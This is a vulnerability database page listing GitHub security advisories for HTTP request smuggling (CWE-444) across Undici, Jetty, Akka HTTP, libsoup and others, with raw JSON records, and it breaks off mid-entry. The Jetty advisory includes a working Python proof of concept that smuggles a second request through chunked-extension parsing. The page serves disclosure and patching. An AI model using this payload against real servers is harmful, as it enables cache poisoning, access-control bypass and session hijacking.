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Common Weakness Enumeration

CWE-444

Allowed

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

627 vulnerabilities reference this CWE, most recent first.

GHSA-2MJP-6Q6P-2QXM

Vulnerability from github – Published: 2026-03-13 20:07 – Updated: 2026-03-13 20:07
VLAI
Summary
Undici has an HTTP Request/Response Smuggling issue
Details

Impact

Undici allows duplicate HTTP Content-Length headers when they are provided in an array with case-variant names (e.g., Content-Length and content-length). This produces malformed HTTP/1.1 requests with multiple conflicting Content-Length values on the wire.

Who is impacted: - Applications using undici.request(), undici.Client, or similar low-level APIs with headers passed as flat arrays - Applications that accept user-controlled header names without case-normalization

Potential consequences: - Denial of Service: Strict HTTP parsers (proxies, servers) will reject requests with duplicate Content-Length headers (400 Bad Request) - HTTP Request Smuggling: In deployments where an intermediary and backend interpret duplicate headers inconsistently (e.g., one uses the first value, the other uses the last), this can enable request smuggling attacks leading to ACL bypass, cache poisoning, or credential hijacking

Patches

Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.

Workarounds

If upgrading is not immediately possible:

  1. Validate header names: Ensure no duplicate Content-Length headers (case-insensitive) are present before passing headers to undici
  2. Use object format: Pass headers as a plain object ({ 'content-length': '123' }) rather than an array, which naturally deduplicates by key
  3. Sanitize user input: If headers originate from user input, normalize header names to lowercase and reject duplicates
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:07:03Z",
    "nvd_published_at": "2026-03-12T20:16:02Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nUndici allows duplicate HTTP `Content-Length` headers when they are provided in an array with case-variant names (e.g., `Content-Length` and `content-length`). This produces malformed HTTP/1.1 requests with multiple conflicting `Content-Length` values on the wire.\n\n**Who is impacted:**\n  - Applications using `undici.request()`, `undici.Client`, or similar low-level APIs with headers passed as flat arrays\n  - Applications that accept user-controlled header names without case-normalization\n\n**Potential consequences:**\n  - **Denial of Service**: Strict HTTP parsers (proxies, servers) will reject requests with duplicate `Content-Length` headers (400 Bad Request)\n  - **HTTP Request Smuggling**: In deployments where an intermediary and backend interpret duplicate headers inconsistently (e.g., one uses the first value, the other uses the last), this can enable request smuggling attacks leading to ACL bypass, cache poisoning, or credential hijacking\n\n### Patches\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\n  If upgrading is not immediately possible:\n\n  1. **Validate header names**: Ensure no duplicate `Content-Length` headers (case-insensitive) are present before passing headers to undici\n  2. **Use object format**: Pass headers as a plain object (`{ \u0027content-length\u0027: \u0027123\u0027 }`) rather than an array, which naturally deduplicates by key\n  3. **Sanitize user input**: If headers originate from user input, normalize header names to lowercase and reject duplicates",
  "id": "GHSA-2mjp-6q6p-2qxm",
  "modified": "2026-03-13T20:07:03Z",
  "published": "2026-03-13T20:07:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-2mjp-6q6p-2qxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1525"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3556037"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/444.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc9110.html#section-8.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undici has an HTTP Request/Response Smuggling issue"
}

GHSA-2V7C-2X99-GV22

Vulnerability from github – Published: 2022-05-24 17:12 – Updated: 2022-10-07 00:01
VLAI
Details

There is a vulnerability in Apache Traffic Server 6.0.0 to 6.2.3, 7.0.0 to 7.1.8, and 8.0.0 to 8.0.5 with a smuggling attack and chunked encoding. Upgrade to versions 7.1.9 and 8.0.6 or later versions.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-17565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-03-23T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a vulnerability in Apache Traffic Server 6.0.0 to 6.2.3, 7.0.0 to 7.1.8, and 8.0.0 to 8.0.5 with a smuggling attack and chunked encoding. Upgrade to versions 7.1.9 and 8.0.6 or later versions.",
  "id": "GHSA-2v7c-2x99-gv22",
  "modified": "2022-10-07T00:01:04Z",
  "published": "2022-05-24T17:12:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17565"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r99d18d0bc4daa05e7d0e5a63e0e22701a421b2ef5a8f4f7694c43869%40%3Cannounce.trafficserver.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4672"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2W7W-2J92-44HX

Vulnerability from github – Published: 2021-05-10 15:17 – Updated: 2021-03-19 22:36
VLAI
Summary
HTTP Request Smuggling in akka-http-core
Details

A vulnerable Akka HTTP server will accept a malformed message and hand it over to the user. If the user application proxies this message to another server unchanged and that server also accepts that message but interprets it as two HTTP messages, the second message has reached the second server without having been inspected by the proxy.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.typesafe.akka:akka-http-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.2.0"
            },
            {
              "fixed": "10.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.typesafe.akka:akka-http-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-19T22:36:01Z",
    "nvd_published_at": "2021-02-17T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerable Akka HTTP server will accept a malformed message and hand it over to the user. If the user application proxies this message to another server unchanged and that server also accepts that message but interprets it as two HTTP messages, the second message has reached the second server without having been inspected by the proxy.",
  "id": "GHSA-2w7w-2j92-44hx",
  "modified": "2021-03-19T22:36:01Z",
  "published": "2021-05-10T15:17:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23339"
    },
    {
      "type": "WEB",
      "url": "https://github.com/akka/akka-http/pull/3754%23issuecomment-779265201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/akka/akka-http/commit/e3a4935151c91cee28e65e6b894dd50839ef9d34"
    },
    {
      "type": "WEB",
      "url": "https://doc.akka.io/docs/akka-http/10.1/security/2021-02-24-incorrect-handling-of-Transfer-Encoding-header.html"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-COMTYPESAFEAKKA-1075043"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTP Request Smuggling in akka-http-core"
}

GHSA-2XQX-75WG-W86V

Vulnerability from github – Published: 2026-05-03 03:30 – Updated: 2026-05-07 18:30
VLAI
Details

Starlet versions through 0.31 for Perl allows HTTP Request Smuggling via Improper Header Precedence.

Starlet incorrectly prioritizes "Content-Length" over "Transfer-Encoding: chunked" when both headers are present in an HTTP request. Per RFC 7230 3.3.3, Transfer-Encoding must take precedence.

An attacker could exploit this to smuggle malicious HTTP requests via a front-end reverse proxy.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-40561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-03T01:15:58Z",
    "severity": "MODERATE"
  },
  "details": "Starlet versions through 0.31 for Perl allows HTTP Request Smuggling via Improper Header Precedence.\n\nStarlet incorrectly prioritizes \"Content-Length\" over \"Transfer-Encoding: chunked\" when both headers are present in an HTTP request. Per RFC 7230 3.3.3, Transfer-Encoding must take precedence.\n\nAn attacker could exploit this to smuggle malicious HTTP requests via a front-end reverse proxy.",
  "id": "GHSA-2xqx-75wg-w86v",
  "modified": "2026-05-07T18:30:35Z",
  "published": "2026-05-03T03:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40561"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kazuho/Starlet/commit/a7d5dfd1862aafa43e5eaca0fdb6acf4cc15b2d0.patch"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.3"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/KAZUHO/Starlet-0.32/changes"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/03/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-329G-WG5G-524R

Vulnerability from github – Published: 2023-08-04 12:30 – Updated: 2024-04-04 06:33
VLAI
Details

VMware Horizon Server contains a HTTP request smuggling vulnerability. A malicious actor with network access may be able to perform HTTP smuggle requests.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-34037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-04T12:15:09Z",
    "severity": "MODERATE"
  },
  "details": "VMware Horizon Server contains a HTTP request smuggling vulnerability. A malicious actor with network access may be able to perform HTTP smuggle requests.\n\n",
  "id": "GHSA-329g-wg5g-524r",
  "modified": "2024-04-04T06:33:44Z",
  "published": "2023-08-04T12:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34037"
    },
    {
      "type": "WEB",
      "url": "https://www.vmware.com/security/advisories/VMSA-2023-0017.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-332M-XP6M-R638

Vulnerability from github – Published: 2022-01-15 00:01 – Updated: 2022-01-22 00:02
VLAI
Details

Imperva Web Application Firewall (WAF) before 2021-12-31 allows remote unauthenticated attackers to use "Content-Encoding: gzip" to evade WAF security controls and send malicious HTTP POST requests to web servers behind the WAF.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-45468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-14T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Imperva Web Application Firewall (WAF) before 2021-12-31 allows remote unauthenticated attackers to use \"Content-Encoding: gzip\" to evade WAF security controls and send malicious HTTP POST requests to web servers behind the WAF.",
  "id": "GHSA-332m-xp6m-r638",
  "modified": "2022-01-22T00:02:11Z",
  "published": "2022-01-15T00:01:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45468"
    },
    {
      "type": "WEB",
      "url": "https://bishopfox.com/blog/imperva-eliminates-critical-exposure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-355H-QMC2-WPWF

Vulnerability from github – Published: 2026-04-14 23:40 – Updated: 2026-08-14 18:39
VLAI
Summary
Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Details

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Parser Request 1 Request 2
jetty (vulnerable) POST / body="X" GET /smuggled (SMUGGLED!)
RFC compliant POST / body="Y" (none - smuggled request hidden in extension)

Impact

  • Request Smuggling: Attacker injects arbitrary HTTP requests
  • Cache Poisoning: Smuggled responses poison shared caches
  • Access Control Bypass: Smuggled requests bypass frontend security
  • Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

  1. Start the minimal POC with docker
  2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

References

  • RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
  • Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
  • details for security versions https://jetty.org/security.html
Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.1.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.1.0"
            },
            {
              "fixed": "12.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.0.32"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0"
            },
            {
              "fixed": "12.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.0.28"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.0.29"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.27"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.4.59"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.eclipse.jetty:jetty-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.4.0"
            },
            {
              "fixed": "9.4.60"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:40:31Z",
    "nvd_published_at": "2026-04-14T12:16:21Z",
    "severity": "HIGH"
  },
  "details": "### Description (as reported)\n\nJetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n### Background\n\nThis vulnerability is a new variant discovered while researching the \"Funky Chunks\" HTTP request smuggling techniques:\n- https://w4ke.info/2025/06/18/funky-chunks.html\n- https://w4ke.info/2025/10/29/funky-chunks-2.html\n\nThe original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.\n\n### Technical Details\n\n**RFC 9112 Section 7.1.1** defines chunked transfer encoding:\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nA quoted-string continues until the closing DQUOTE, and `\\r\\n` sequences are not permitted within the quotes.\n\n### Vulnerability\n\nJetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of treating this as an error.\n\n**Expected (RFC compliant):**\n```\nChunk: 1;a=\"value\\r\\nhere\"\\r\\n\n         ^^^^^^^^^^^^^^^^^^ extension value\nBody: [1 byte after the real \\r\\n]\n```\n\n**Actual (jetty):**\n```\nChunk: 1;a=\"value\n            ^^^^^ terminates here (WRONG)\nBody: here\"... treated as body/next request\n```\n\n### Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** Server returns 2 HTTP responses from a single TCP connection.\n\n#### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|--------|-----------|-----------|\n| jetty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED!) |\n| RFC compliant | POST / body=\"Y\" | (none - smuggled request hidden in extension) |\n\n### Impact\n\n- **Request Smuggling**: Attacker injects arbitrary HTTP requests\n- **Cache Poisoning**: Smuggled responses poison shared caches\n- **Access Control Bypass**: Smuggled requests bypass frontend security\n- **Session Hijacking**: Smuggled requests can steal other users\u0027 responses\n\n### Reproduction\n\n1. Start the minimal POC with docker\n2. Run the poc script provided in same zip\n\n### Suggested Fix\n\nEnsure the chunk framing and extensions are parsed exactly as specified in RFC9112. \nA CRLF inside a quoted-string should be considered a parsing error and not a line terminator.\n\n\n### Patches\nNo patches yet.\n\n### Workarounds\nNo workarounds yet.\n\n### References\n\n- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)\n- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html\n- details for security versions https://jetty.org/security.html",
  "id": "GHSA-355h-qmc2-wpwf",
  "modified": "2026-08-14T18:39:11Z",
  "published": "2026-04-14T23:40:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2332"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-2332.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.eclipse.org/security/cve-assignment/-/issues/89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jetty/jetty.project"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458187"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-2332"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50263"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50223"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50222"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50221"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25089"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22453"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:21773"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:20568"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17668"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:14272"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:10175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

GHSA-3786-V5G9-6834

Vulnerability from github – Published: 2022-02-17 00:00 – Updated: 2022-04-20 00:01
VLAI
Details

An information disclosure vulnerability exists in the HTTP Server /ping.html functionality of Texas Instruments CC3200 SimpleLink Solution NWP 2.9.0.0. A specially-crafted HTTP request can lead to an uninitialized read. An attacker can send an HTTP request to trigger this vulnerability.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-21966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-908"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-16T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An information disclosure vulnerability exists in the HTTP Server /ping.html functionality of Texas Instruments CC3200 SimpleLink Solution NWP 2.9.0.0. A specially-crafted HTTP request can lead to an uninitialized read. An attacker can send an HTTP request to trigger this vulnerability.",
  "id": "GHSA-3786-v5g9-6834",
  "modified": "2022-04-20T00:01:27Z",
  "published": "2022-02-17T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21966"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1393"
    },
    {
      "type": "WEB",
      "url": "https://www.ti.com/lit/an/swra740/swra740.pdf?ts=1645536893264\u0026"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-37R8-854R-595C

Vulnerability from github – Published: 2024-11-11 21:31 – Updated: 2025-11-04 00:32
VLAI
Details

GNOME libsoup before 3.6.0 allows HTTP request smuggling in some configurations because '\0' characters at the end of header names are ignored, i.e., a "Transfer-Encoding\0: chunked" header is treated the same as a "Transfer-Encoding: chunked" header.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-52530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-11T20:15:20Z",
    "severity": "HIGH"
  },
  "details": "GNOME libsoup before 3.6.0 allows HTTP request smuggling in some configurations because \u0027\\0\u0027 characters at the end of header names are ignored, i.e., a \"Transfer-Encoding\\0: chunked\" header is treated the same as a \"Transfer-Encoding: chunked\" header.",
  "id": "GHSA-37r8-854r-595c",
  "modified": "2025-11-04T00:32:01Z",
  "published": "2024-11-11T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52530"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/377"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/402"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/Teams/Releng/security/-/wikis/home"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00014.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3855-8298-M4GC

Vulnerability from github – Published: 2025-12-15 21:30 – Updated: 2025-12-15 21:30
VLAI
Details

Member Login Script 3.3 contains a client-side desynchronization vulnerability that allows attackers to manipulate HTTP request handling by exploiting Content-Length header parsing. Attackers can send crafted POST requests with smuggled secondary requests to potentially bypass server-side request processing controls.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T21:15:50Z",
    "severity": "MODERATE"
  },
  "details": "Member Login Script 3.3 contains a client-side desynchronization vulnerability that allows attackers to manipulate HTTP request handling by exploiting Content-Length header parsing. Attackers can send crafted POST requests with smuggled secondary requests to potentially bypass server-side request processing controls.",
  "id": "GHSA-3855-8298-m4gc",
  "modified": "2025-12-15T21:30:32Z",
  "published": "2025-12-15T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53878"
    },
    {
      "type": "WEB",
